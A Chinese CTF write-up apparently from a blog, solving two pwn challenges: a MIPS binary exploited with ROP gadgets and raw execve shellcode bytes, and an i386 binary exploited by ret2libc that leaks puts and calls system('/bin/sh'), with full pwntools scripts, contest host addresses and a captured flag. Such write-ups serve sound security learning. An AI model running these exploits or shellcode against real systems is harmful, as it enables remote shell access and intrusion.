【WriteUp】安恒杯元旦月赛--Pwn题解

狠狠学习了一波 mipsel

mmininps

Description:

mmininps


Solution:

刚接触 mips,比赛结束后一直在看,所以这题莫得 flag

先把该下载的插件都下载好了,对于 mips 的题来说,我个人还是推荐 ida,不推荐 ghidra

安装两个重要的 ida 插件:retdec-idapluginmipsrop

程序保护嘛也没开,所以可以 shellcode

1
2
3
4
5
6
Arch:     mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

这题最恶心的是去符号化了,不过调试的时候按个 c 就知道程序在哪个函数里调用 read 函数了

0x400940调用,所处函数如下(retdec-idaplugin 反编译而来):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2020 Retargetable Decompiler <info@retdec.com>
//

#include <stdint.h>
#include <unistd.h>

// ------------------- Function Prototypes --------------------

int32_t sub_400480(void);

// --------------------- Global Variables ---------------------

int32_t g1 = -0x7000;

// ------------------------ Functions -------------------------

// Address range: 0x400480 - 0x4004bc
int32_t sub_400480(void) {
// 0x400480
int32_t fd; // a0
int32_t buf; // a1
int32_t nbyte; // a2
int32_t v1 = read(fd, (int32_t *)buf, nbyte); // 0x400490
int32_t v2; // a3
int32_t result; // 0x4004b4
if (v2 != 0) {
int32_t v3; // v1
__asm_rdhwr(v3, 0);
*(int32_t *)(g1 + v3) = v1;
result = -1;
} else {
result = v1;
}
// 0x4004b4
return result;
}

// ------------------ System-Call Functions -------------------

// ssize_t read(int fd, void * buf, size_t nbytes);

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (3.3.2)
// Detected functions: 1
// Decompilation date: 2020-01-03 18:42:55

gdb 调试可得 nbyte 的值为 0x100

1
2
3
4
0x400490    syscall  <SYS_read>
fd: 0x0
buf: 0x76ffefd80x0
nbytes: 0x100

然后在栈内布置 rop 和 shellcode 就行了

不过要注意 mips 里的相对偏移的跳转指令 b (这题里它的用处只是为了找到我布置的 shellcode 地址)

它是把 $SP 跳转到对应的地址,程序是靠 $PC 来一条条指令执行的

所以我们在把 $SP 跳转到我们布置的地址后,要把 $SP 赋值给 $RA,使 $PC 的值等于 $RA 的值,程序才能继续正常运行

shellcode 是 pwntools 里面的,不得不说 mips 的 shellcode 是真的难找

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="mips", endian='el', os="linux")
# context.log_level="debug"
if debug == 1:
p = process(['qemu-mipsel', '-g', '12341', '-L', '/usr/mipsel-linux-gnu/', './mmininps'])
elif debug == 2:
p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu/', './mmininps'])
else:
p = remote('139.9.133.160', 10000)
rop_1 = 0x409144
rop_move_t9_v0_jr_t9 = 0x405E54

sc1 = '\x0f\x00\x00\x10' # b 相应的栈地址
sc1 += asm('''
move $ra, $sp
jr $ra
''')
sc2 = '\x62\x69\x09\x3c\x2f\x2f\x29\x35\xf4\xff\xa9\xaf\x73\x68\x09\x3c'\
'\x6e\x2f\x29\x35\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27'\
'\x20\x20\xa0\x03\xfc\xff\xa0\xaf\xfc\xff\xbd\x27\xff\xff\x06\x28'\
'\xfc\xff\xa6\xaf\xfc\xff\xbd\x23\x20\x30\xa0\x03\x73\x68\x09\x34'\
'\xfc\xff\xa9\xaf\xfc\xff\xbd\x27\xff\xff\x05\x28\xfc\xff\xa5\xaf'\
'\xfc\xff\xbd\x23\xfb\xff\x19\x24\x27\x28\x20\x03\x20\x28\xbd\x00'\
'\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\x20\x28\xa0\x03\xab\x0f\x02\x34'\
'\x0c\x01\x01\x01'
pd = sc1
pd = pd.ljust(0x1c, 'a')
pd += p32(rop_1)
pd = pd.ljust(0x3c, 'b')
pd += p32(rop_move_t9_v0_jr_t9)
pd += sc2
p.send(pd)
p.interactive()

'''
rop1:
0x409144 move $s0, $a1
0x409148 lw $ra, 0x1c($sp)
0x40914c move $v0, $s0
0x409150 lw $s0, 0x18($sp)
0x409154 jr $ra
'''

Flag:

1

PWN

Description:


Solution:

看看保护,是一个舒心的 i386 架构呢

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl checker(int a1)
{
char buf; // [esp+Eh] [ebp-3Ah]
char name[4]; // [esp+2Ch] [ebp-1Ch]
char *s; // [esp+34h] [ebp-14h]
int (__cdecl *v5)(int); // [esp+38h] [ebp-10h]
int v6; // [esp+3Ch] [ebp-Ch]

v6 = 8;
strcpy(name, "malloc");
printf("your input : ");
read(0, &buf, 0x4Au);
strncpy(st, &buf, 8u);
v5 = (int (__cdecl *)(int))load(name);
if ( a1 != 0xDEADBEEF )
return puts("Think about it ");
s = (char *)v5(v6);
__isoc99_scanf("%s", s);
return puts(s);
}

load 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void *__cdecl load(char *name)
{
char *v1; // eax
void *handle; // [esp+8h] [ebp-10h]
void *v4; // [esp+Ch] [ebp-Ch]

handle = dlopen("/lib32/libc.so.6", 258);
if ( !handle )
{
v1 = dlerror();
printf("dlopen - %s\n", v1);
exit(0);
}
v4 = dlsym(handle, name);
if ( !v4 )
{
puts("Can't load function");
exit(0);
}
dlclose(handle);
return v4;
}

这题 ret2libc 就行了,load 里面加载的函数地址会被 main 函数的 s 调用

但是因为 load 函数里已经使用 dlclose 使刚刚加载的 libc 的基地址失效了,所以程序要是能运行到 s 就会崩溃

所以我们不能让它运行到 s,即我们不用改 a1,晾着它就好了,利用前面的 read 函数在栈中布置 rop 即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

debug = 1
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./timu')
else:
p = remote('183.129.189.60', 10003)
elf = ELF('./timu', checksec=False)
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
addr_main = 0x080488D5

# gdb.attach(p, "b *0x80488cf\nc")
pd = '\x00' * 0x1e
pd += 'system'
pd = pd.ljust(0x3e, '\x00')
pd += p32(plt_puts)
pd += p32(addr_main)
pd += p32(got_puts)
p.sendafter('your input : ', pd)
p.recvuntil('Think about it \n')
addr_puts = int(u32(p.recv(4)))
libc = LibcSearcher('puts', addr_puts)
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

pd = '\x00' * 0x1e
pd += 'system'
pd = pd.ljust(0x3e, '\x00')
pd += p32(addr_system)
pd += p32(addr_main)
pd += p32(addr_bin_sh)
p.sendafter('your input : ', pd)
success('addr_puts = ' + hex(addr_puts))
p.interactive()

Flag:

1
6bd753ca3eeb69623a5938b73068b6a4
文章目录
  1. 1. mmininps
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. PWN
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
|